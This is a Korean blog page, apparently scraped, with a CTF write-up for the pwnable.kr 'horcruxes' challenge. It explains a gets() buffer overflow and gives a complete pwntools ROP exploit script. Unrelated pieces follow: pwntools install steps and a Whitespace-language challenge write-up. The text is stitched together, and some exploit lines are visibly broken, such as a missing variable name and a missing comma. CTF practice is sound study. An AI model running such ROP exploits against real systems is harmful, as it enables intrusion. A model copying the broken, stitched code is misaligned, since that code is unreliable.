ROP 문제다


접속을 해보자




9032 포트를 통해 바이너리를 실행시킬 수 있다.


IDA로 분석을 위해 먼저 바이너리를 다운받아본다.



1
scp -2222 horcruxes@pwnable.kr:/home/horcruxes/horcruxes ./Desktop/
cs




main 함수이다.




랜덤한 값에서 a, b, c, d, e, f, g의 값이 만들어지고 그 모든 값을 더한 값이 sum이 된다





ropme 함수이다.


사용자가 입력한 값이 a, b, c, d, e, f, g 중 하나에 해당할 경우 그에 맞는 A, B, C, D, E, F, G 함수가 실행된다.




대문자 이름을 가진 각 함수는 위와 같이 생겼다.


호출되면 조건 분기문에서 검사하는 값을 출력한다.




결과적으로 사용자가 입력한 값이 sum과 일치해야 한다


따라서 사용자는 a, b, c, d, e, f, g의 값을 알아야 하고 


gets 함수에서 buffer overflow가 가능하니 ROP 기법을 이용해 A, B, C, D, E, F, G 함수를 호출하여 알아낼 수 있다.





ropme를 보면 먼저 0x78만큼의 스택 크기를 사용하는데


이부분이 gets 함수에 사용되는 buf 메모리 크기이다.


따라서 0x78 이후의 4바이트는 ropme의 return 주소일 것이다.

 




실제 buf의 시작 주소로부터 0x78 이후에 return 주소가 있다.




각 함수의 주소는 이렇고


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
 
id   = 'horcruxes'
host = 'pwnable.kr'
port = 2222
pw   = 'guest'
= ssh(id, host, port=port, password=pw)
 
def send_payload(conn):
    A = p32(0x809fe4b)
    B = p32(0x809fe6a)
    C = p32(0x809fe89)
    D = p32(0x809fea8)
    E = p32(0x809fec7)
    F = p32(0x809fee6)
    G = p32(0x809ff05)
    ropme = p32(0x809fffc)
    payload = "A" * 120 + A + B + C + D + E + F + G + ropme
    conn.sendline(payload)
 
def get_exp(conn):
    conn.recvuntil("EXP +")
    return conn.recvuntil(")")[:-1]
 
def exploit():
    conn = s.connect_remote('localhost'9032)
    conn.recvuntil(':')
    conn.sendline("1")
    conn.recvuntil(":")
    send_payload(conn)
    exp = 0
    for i in range(7):
        exp += int(get_exp(conn))
 
    conn.recvuntil(":")
    conn.sendline("1")
    conn.recvuntil(":")
    conn.sendline(str(exp))
 
    conn.interactive()
 
exploit()
cs





'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

brain fuck  (0) 2019.01.08
otp  (0) 2019.01.07
13. cmd1  (0) 2018.10.01
13. lotto  (0) 2018.10.01
12. blackjack  (0) 2018.10.01

Pwntoools?


포너블 문제들을 풀다보면 payload가 직접 입력하기가 까다롭거나


exploit이 여러 단계를 거쳐서 진행될 때, 아무튼 포너블 풀기 쉽게 만들어둔 Framework


파이썬 라이브러리다.




Pwntools 설치



 1. apt-get install python2.7-dev python-pip


 2. pip isntall pwntools


 3. apt-get install libcapstone-dev







무슨 프로그래밍 언어란다.


소스코드를 읽을 수 있냐는데


들어가본다.





들어가면 위와 같은 메시지가 읽고


파일 링크가 있는데


저게 소스코드이고 저기로부터 플래그를 얻는 것 같다.


일단 다운받아서 파일 시그니처라도 살펴보자.




음.. 파일시그니처가 없다.. 이건..


메모장으로도 열어봤다



0x20, 0x0A, 0x09 이 세 문자로만 구성되어있는 텍스트 파일이


공백, 개행, 탭을 의미한다.. 그래서 텍스트파일로 열었을 때 위와 같이 나온 건데..


뭔가 싶어서 찾아보니까 이런게 있더라..





무튼... 이런게 있다...


찾아보니까 web interpreter도 있어서


https://vii5ard.github.io/whitespace/




여기에 파일 내용을 입력하고 상단에 [Run] 버튼을 클릭하면


플래그가 출력된다.


결국 해당 파일은 정말로 ws 언어로 작성된 플래그였다...


+ Recent posts